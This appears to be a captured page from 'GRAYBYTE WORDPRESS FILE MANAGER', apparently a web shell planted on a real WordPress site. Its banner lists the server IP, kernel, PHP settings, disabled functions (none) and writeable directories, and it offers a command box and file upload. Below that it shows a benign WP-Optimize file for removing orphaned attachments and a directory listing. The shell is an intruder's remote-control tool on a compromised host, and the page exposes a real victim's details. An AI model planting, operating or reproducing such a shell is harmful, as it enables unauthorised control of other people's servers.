GRAYBYTE WORDPRESS FILE MANAGER4501

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/swamivivekananda.co.in/wp-content/plugins/wp-optimize/optimizations/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/swamivivekananda.co.in/wp-content/plugins/wp-optimize/optimizations//attachments.php
<?php

if (!defined('WPO_VERSION')) die('No direct access allowed');

/**
 * Class WP_Optimization_attachments
 */
class WP_Optimization_attachments extends WP_Optimization {

	public $ui_sort_order = 4500;

	public $available_for_auto = false;

	public $auto_default = false;

	/**
	 * Display or hide optimization in optimizations list.
	 *
	 * @return bool
	 */
	public function display_in_optimizations_list() {
		return false;
	}

	/**
	 * Do actions after optimize() function.
	 */
	public function after_optimize() {

		// translators: %s: number of orphaned attachments
		$message = sprintf(_n('%s orphaned attachment deleted', '%s orphaned attachments deleted', $this->processed_count, 'wp-optimize'), number_format_i18n($this->processed_count));

		if ($this->is_multisite_mode()) {
			// translators: %s: number of sites
			$message .= ' '.sprintf(_n('across %s site', 'across %s sites', count($this->blogs_ids), 'wp-optimize'), count($this->blogs_ids));
		}

		$this->logger->info($message);
		$this->register_output($message);

	}

	/**
	 * Do optimization.
	 */
	public function optimize() {

		$sql = "SELECT p.ID FROM `{$this->wpdb->posts}` p LEFT JOIN `{$this->wpdb->posts}` pp ON pp.ID = p.post_parent WHERE p.post_parent > %d AND p.post_type = %s AND pp.ID IS NULL;";
		
		$attachment_ids = $this->wpdb->get_col($this->wpdb->prepare($sql, 0, 'attachment')); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- `$this->wpdb` is `$wpdb`
		$count_ids = count($attachment_ids);

		if ($count_ids > 0) {
			foreach ($attachment_ids as $attachment_id) {
				wp_delete_attachment($attachment_id, true);
			}
		}

		$this->processed_count += $count_ids;

	}

	/**
	 * Do actions after get_info() function.
	 */
	public function after_get_info() {

		if ($this->found_count) {
			// translators: %s: number of orphaned attachments
			$message = sprintf(_n('%s orphaned attachment found', '%s orphaned attachments found', $this->found_count, 'wp-optimize'), number_format_i18n($this->found_count));
		} else {
			$message = __('No orphaned attachments found', 'wp-optimize');
		}

		if ($this->is_multisite_mode()) {
			// translators: %s: number of sites
			$message .= ' '.sprintf(_n('across %s site', 'across %s sites', count($this->blogs_ids), 'wp-optimize'), count($this->blogs_ids));
		}

		$this->register_output($message);

	}
	/**
	 * Estimate count of unoptimized items.
	 */
	public function get_info() {

		$sql = "SELECT COUNT(*) FROM `{$this->wpdb->posts}` p LEFT JOIN `{$this->wpdb->posts}` pp ON pp.ID = p.post_parent WHERE p.post_parent > %d AND p.post_type = %s AND pp.ID IS NULL;";
		$postmeta = $this->wpdb->get_var($this->wpdb->prepare($sql, 0, 'attachment')); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- `$this->wpdb` is `$wpdb`

		$this->found_count += $postmeta;

	}

	/**
	 * Returns settings label
	 *
	 * @return string|void
	 */
	public function settings_label() {
		return __('Remove orphaned attachments', 'wp-optimize');
	}
	
	/**
	 * Return description
	 * N.B. This is not currently used; it was commented out in 1.9.1
	 *
	 * @return string|void
	 */
	public function get_auto_option_description() {
		return __('Remove orphaned attachments', 'wp-optimize');
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:27
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:28
giriqfky / giriqfky
0644
attachments.php
3.147 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
autodraft.php
5.331 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
commentmeta.php
7.538 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
inactive-tags.php
0.556 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
optimizetables.php
6.644 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
orphandata.php
2.394 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
orphanedtables.php
5.421 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
pingbacks.php
4.508 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
postmeta.php
4.561 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
repairtables.php
4.381 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
revisions.php
8.074 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
spam.php
8.172 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
trackbacks.php
4.406 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
transient.php
14.432 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
trash.php
6.781 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
unapproved.php
5.939 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
usermeta.php
4.456 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF